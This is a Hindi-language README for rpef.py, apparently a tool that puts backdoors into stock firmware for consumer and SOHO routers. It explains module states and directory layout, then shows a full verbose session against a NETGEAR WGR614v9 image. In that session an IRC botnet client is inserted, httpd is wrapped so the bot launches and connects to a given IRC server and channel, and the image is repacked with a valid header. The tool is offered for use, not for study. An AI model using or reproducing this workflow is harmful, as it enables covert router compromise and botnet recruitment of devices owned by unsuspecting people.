
उपभोक्ता/SOHO राउटरों के लिए स्टॉक फर्मवेयर इमेज में बैकडोर डालने की प्रक्रिया को सरल और तेज़ बनाता है
वर्तमान में, फ्रेमवर्क में कई फर्मवेयर इमेज मॉड्यूल शामिल हैं:
'Verified' - यह मॉड्यूल कार्य करने के लिए पुष्ट है और स्थिर है।
'Unverified' - यह मॉड्यूल माना जाता है कि काम करता है या थोड़े अतिरिक्त प्रयास से काम कर जाना चाहिए,
लेकिन इसे भौतिक डिवाइस पर परीक्षण किए जाने की प्रतीक्षा है।
'Testing' - यह मॉड्यूल वर्तमान में विकास के दौर से गुजर रहा है और फिलहाल अस्थिर है।
उपयोगकर्ताओं को इस मॉड्यूल को "कार्य प्रगति पर" मानना चाहिए।
'Roadblock' - समस्याओं ने इस मॉड्यूल की प्रगति को फिलहाल रोक दिया है।
कुछ अनुपलब्ध उपयोगिताओं या महत्वपूर्ण रिवर्स इंजीनियरिंग कार्य आवश्यक हो सकता है।
विकल्पों की सूची के लिए, चलाएँ:
./rpef.py -h
वर्तमान में समर्थित सभी फर्मवेयर लक्ष्यों की सूची के लिए, चलाएँ:
./rpef.py -ll
यह स्क्रिप्ट Python 2.6 के लिए लिखी गई है और इसमें कुछ मॉड्यूल की स्थापना की आवश्यकता हो सकती है। इसे आमतौर पर इस प्रकार चलाया जाता है:
./rpef.py <firmware image> <output file> <payload>
और यह कई वैकल्पिक स्विच स्वीकार करता है (देखें -h)।
rules/ निर्देशिका rules// निर्देशिकाओं का पदानुक्रम संग्रहीत करती है। एक मॉड्यूल एक फर्मवेयर चेकसम से संबंधित है (किसी विशेष राउटर से नहीं), क्योंकि कई राउटरों को एक ही फर्मवेयर चलाते हुए देखा गया है। प्रत्येक मॉड्यूल में properties.json होता है, जो लक्ष्य फर्मवेयर इमेज को अनपैकेज करने, बैकडोर लगाने और पुनः पैकेज करने के लिए आवश्यक संचालन की भाषा और क्रम संग्रहीत करता है। payloads/ निर्देशिका तैनाती के लिए तैयार क्रॉस-कंपाइल्ड बाइनरी संग्रहीत करती है, और वैकल्पिक dependencies/ निर्देशिका प्रक्रिया में सहायता के लिए विभिन्न फाइलें संग्रहीत करती है।
utilities/ निर्देशिका पूर्व-संकलित x86 बाइनरी संग्रहीत करती है, जो फाइलसिस्टम को पैक/अनपैक करने, डेटा को कंप्रेस/डिकंप्रेस करने (जिसके लिए कोई उपयुक्त .py मॉड्यूल मौजूद नहीं है), और चेकसम की गणना करने जैसे कार्य करती हैं।
payloads_src/ निर्देशिका पेलोड के स्रोत कोड को संग्रहीत करती है। सभी पेलोड को यथासंभव छोटा रखने के लिए शुरू से लिखा जाता है।
बॉटनेट क्लाइंट के साथ बैकडोर किए गए WGR614v9 के लिए वर्बोज़ रूप से फर्मवेयर इमेज उत्पन्न करने के लिए, चलाएँ:
./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
और प्रक्रिया निम्नानुसार आगे बढ़नी चाहिए:
$ ./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
[+] Verifying checksum
Calculated checksum: 767c962037b32a5e800c3ff94a45e85e
Matched target: NETGEAR WGR614v9 1.2.30NA (Verified)
[+] Extracting parts from firmware image
Step 1: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 58, Size 456708 -> /tmp/tmpOaw1tn/headerkernel.bin
Step 2: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 456766, Size 1476831 -> /tmp/tmpOaw1tn/filesystem.bin
[+] Unpacking filesystem
Step 1: unsquashfs-1.0 /tmp/tmpOaw1tn/filesystem.bin -> /tmp/tmpOaw1tn/extracted_fs
Executing: utilities/unsquashfs-1.0 -dest /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/filesystem.bin
created 217 files
created 27 directories
created 48 symlinks
created 0 devices
created 0 fifos
[+] Inserting payload
Step 1: Rm /tmp/tmpOaw1tn/extracted_fs/lib/modules/2.4.20/kernel/net/ipv4/opendns/openDNS_hijack.o
Step 2: Copy rules/NETGEAR/WGR614v9_1.2.30NA/payloads/botnet /tmp/tmpOaw1tn/extracted_fs/usr/sbin/botnet
Step 3: Move /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd.bak
Step 4: Touch /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Step 5: Appendtext "#!/bin/msh
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] INPUT REQUIRED, IP address of IRC server: 1.2.3.4
[+] INPUT REQUIRED, Port of IRC server: 6667
[+] INPUT REQUIRED, Channel to join (include #): #hax
[+] INPUT REQUIRED, Prefix of bot nick: toteawesome
Step 6: Appendtext "/usr/sbin/botnet 1.2.3.4 6667 \#hax toteawesome &
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Step 7: Appendtext "/usr/sbin/httpd.bak
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Step 8: Chmod 777 /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] Building filesystem
Step 1: mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs, Blocksize 65536, Little endian -> /tmp/tmpOaw1tn/newfs.bin
Executing: utilities/mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/newfs.bin -b 65536 -root-owned -le
Creating little endian 2.1 filesystem on /tmp/tmpOaw1tn/newfs.bin, block size 65536.
Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments
Filesystem size 1442.99 Kbytes (1.41 Mbytes)
29.38% of uncompressed filesystem size (4912.18 Kbytes)
Inode table size 2245 bytes (2.19 Kbytes)
33.63% of uncompressed inode table size (6675 bytes)
Directory table size 2322 bytes (2.27 Kbytes)
55.26% of uncompressed directory table size (4202 bytes)
Number of duplicate files found 3
Number of inodes 293
Number of files 218
Number of fragments 22
Number of symbolic links 48
Number of device nodes 0
Number of fifo nodes 0
Number of socket nodes 0
Number of directories 27
Number of uids 1
root (0)
Number of gids 0
[+] Gluing parts together
Step 1: Touch WGR614v9-V1.2.30_41.0.44NA_botnet.chk
Step 2: Appendfile /tmp/tmpOaw1tn/headerkernel.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
Step 3: Appendfile /tmp/tmpOaw1tn/newfs.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
[+] Padding image with null bytes
Step 1: Pad WGR614v9-V1.2.30_41.0.44NA_botnet.chk to size 1937408 with 0 (0x00)
[+] Generating CHK header
Step 1: packet WGR614v9-V1.2.30_41.0.44NA_botnet.chk rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
Executing: utilities/packet -k WGR614v9-V1.2.30_41.0.44NA_botnet.chk -b rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt -i rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
[+] Removing temporary files
Step 1: Rmdir /tmp/tmpOaw1tn/